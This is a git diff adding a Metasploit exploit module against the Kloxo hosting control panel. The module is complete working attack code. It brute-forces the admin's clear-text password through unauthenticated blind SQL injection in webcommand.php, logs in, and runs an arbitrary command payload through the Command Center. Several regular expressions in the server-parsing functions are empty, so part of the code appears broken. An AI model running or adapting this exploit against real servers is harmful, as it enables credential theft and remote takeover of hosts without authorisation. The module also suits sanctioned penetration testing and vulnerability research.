diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb
new file mode 100644
index 0000000000..c8824fdd2e
--- /dev/null
+++ b/modules/exploits/linux/http/kloxo_sqli.rb
@@ -0,0 +1,278 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::FileDropper
+
+ Rank = ManualRanking
+ PASSWORD_PREFIX = '__lxen:'
+ BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='
+
+ attr_accessor :password
+ attr_accessor :session
+ attr_accessor :server
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Kloxo SQL Injection and Remote Code Execution',
+ 'Description' => %q{
+ This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
+ exploited in the wild on January 2014. The SQL injection issue can be abused in order to
+ retrieve the kloxo admin clear text password from the database. With admin access to the
+ web control panel, remote PHP code execution can be achieved by abusing the Command Center
+ function. The module tries to find the first server in the tree view , unless the server
+ information is provided, and executes the payload there.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Unknown', # Discovery, exploit in the wild
+ 'juan vazquez' # Metasploit Module
+ ],
+ 'References' =>
+ [
+ ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
+ ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild
+ ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion
+ ],
+ 'Arch' => ARCH_CMD,
+ 'Platform' => 'unix',
+ 'Payload' =>
+ {
+ 'Space' => 262144, # 256k
+ 'DisableNops' => true,
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
+ }
+ },
+ 'Targets' =>
+ [
+ ['Kloxo / CentOS', {}]
+ ],
+ 'Privileged' => true,
+ 'DisclosureDate' => 'Jan 28 2014',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ Opt::RPORT(7778),
+ OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptString.new('SERVER_CLASS', [false, 'The server class']),
+ OptString.new('SERVER_NAME', [false, 'The server name'])
+ ], self.class)
+ end
+
+ def check
+ return Exploit::CheckCode::Safe unless webcommand_exists?
+ return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
+ return Exploit::CheckCode::Safe unless pefix_found?
+
+ Exploit::CheckCode::Vulnerable
+ end
+
+ def exploit
+ fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable
+
+ print_status("#{peer} - Recovering the admin password with SQLi...")
+ loot = base64_password
+ fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
+ @password = Rex::Text.decode_base64(loot)
+ print_good("#{peer} - Password recovered: #{@password}")
+
+ print_status("#{peer} - Logging into the Control Panel...")
+ @session = send_login
+ fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?
+
+ report_auth_info(
+ :host => rhost,
+ :port => rport,
+ :user => 'admin',
+ :pass => @password,
+ :type => 'password',
+ :sname => (ssl ? 'https' : 'http')
+ )
+
+ print_status("#{peer} - Retrieving the server name...")
+ @server = server_info
+ fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?
+
+ print_status("#{peer} - Exploiting...")
+ send_command(payload.encoded)
+ end
+
+ def send_login
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
+ 'vars_post' =>
+ {
+ 'frm_clientname' => 'admin',
+ 'frm_password' => @password,
+ 'login' => 'Login'
+ }
+ )
+
+ if res && res.code == 302 && res.headers.include?('Set-Cookie')
+ return res.get_cookies
+ end
+
+ nil
+ end
+
+ def server_info
+
+ unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
+ return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
+ end
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.to_s, 'display.php'),
+ 'cookie' => @session,
+ 'vars_get' =>
+ {
+ 'frm_action' => 'show'
+ }
+ })
+
+ if res && res.code == 200 && res.body.to_s =~ //
+ return parse_display_info(res.body.to_s)
+ end
+
+ nil
+ end
+
+ def parse_display_info(html)
+ server_info = {}
+ pos = html.index(//)
+
+ if html.index(//, pos).nil?
+ return nil
+ else
+ server_info[:class] = $1
+ end
+
+ if html.index(/ /, pos).nil?
+ return nil
+ else
+ server_info[:name] = $1
+ end
+
+ server_info
+ end
+
+ def send_command(command)
+ data = Rex::MIME::Message.new
+ data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
+ data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
+ data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
+ data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
+ data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
+ data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
+ data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')
+
+ post_data = data.to_s
+ post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+
+ send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'cookie' => @session,
+ 'data' => post_data
+ }, 1)
+ end
+
+ def webcommand_exists?
+ res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))
+
+ if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
+ return true
+ end
+
+ false
+ end
+
+ def pefix_found?
+ i = 1
+ PASSWORD_PREFIX.each_char do |c|
+ return false unless exploit_sqli(i, c)
+ i = i + 1
+ end
+
+ true
+ end
+
+ def bad_char(pos)
+ Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
+ end
+
+ def ascii(char)
+ char.unpack('C')[0]
+ end
+
+ def base64_password
+ i = PASSWORD_PREFIX.length + 1
+ loot = ''
+
+ until exploit_sqli(i, "\x00")
+ vprint_status("#{peer} - Bruteforcing position #{i}")
+ c = brute_force_char(i)
+ if c.nil?
+ return nil
+ else
+ loot << c
+ end
+ vprint_status("#{peer} - Found: #{loot}")
+ i = i + 1
+ end
+
+ loot
+ end
+
+ def brute_force_char(pos)
+ BASE64_RANGE.each_char do |c|
+ return c if exploit_sqli(pos, c)
+ end
+
+ nil
+ end
+
+ def exploit_sqli(pos, char)
+ # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
+ sqli = "al5i' "
+ sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
+ sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"
+
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
+ 'vars_get' =>
+ {
+ 'login-class' => 'client',
+ 'login-name' => sqli,
+ 'login-password' => '123456'
+ }
+ )
+
+ if res && res.code == 200 && res.body.blank?
+ return true
+ elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
+ return false
+ end
+
+ vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
+ false
+ end
+
+end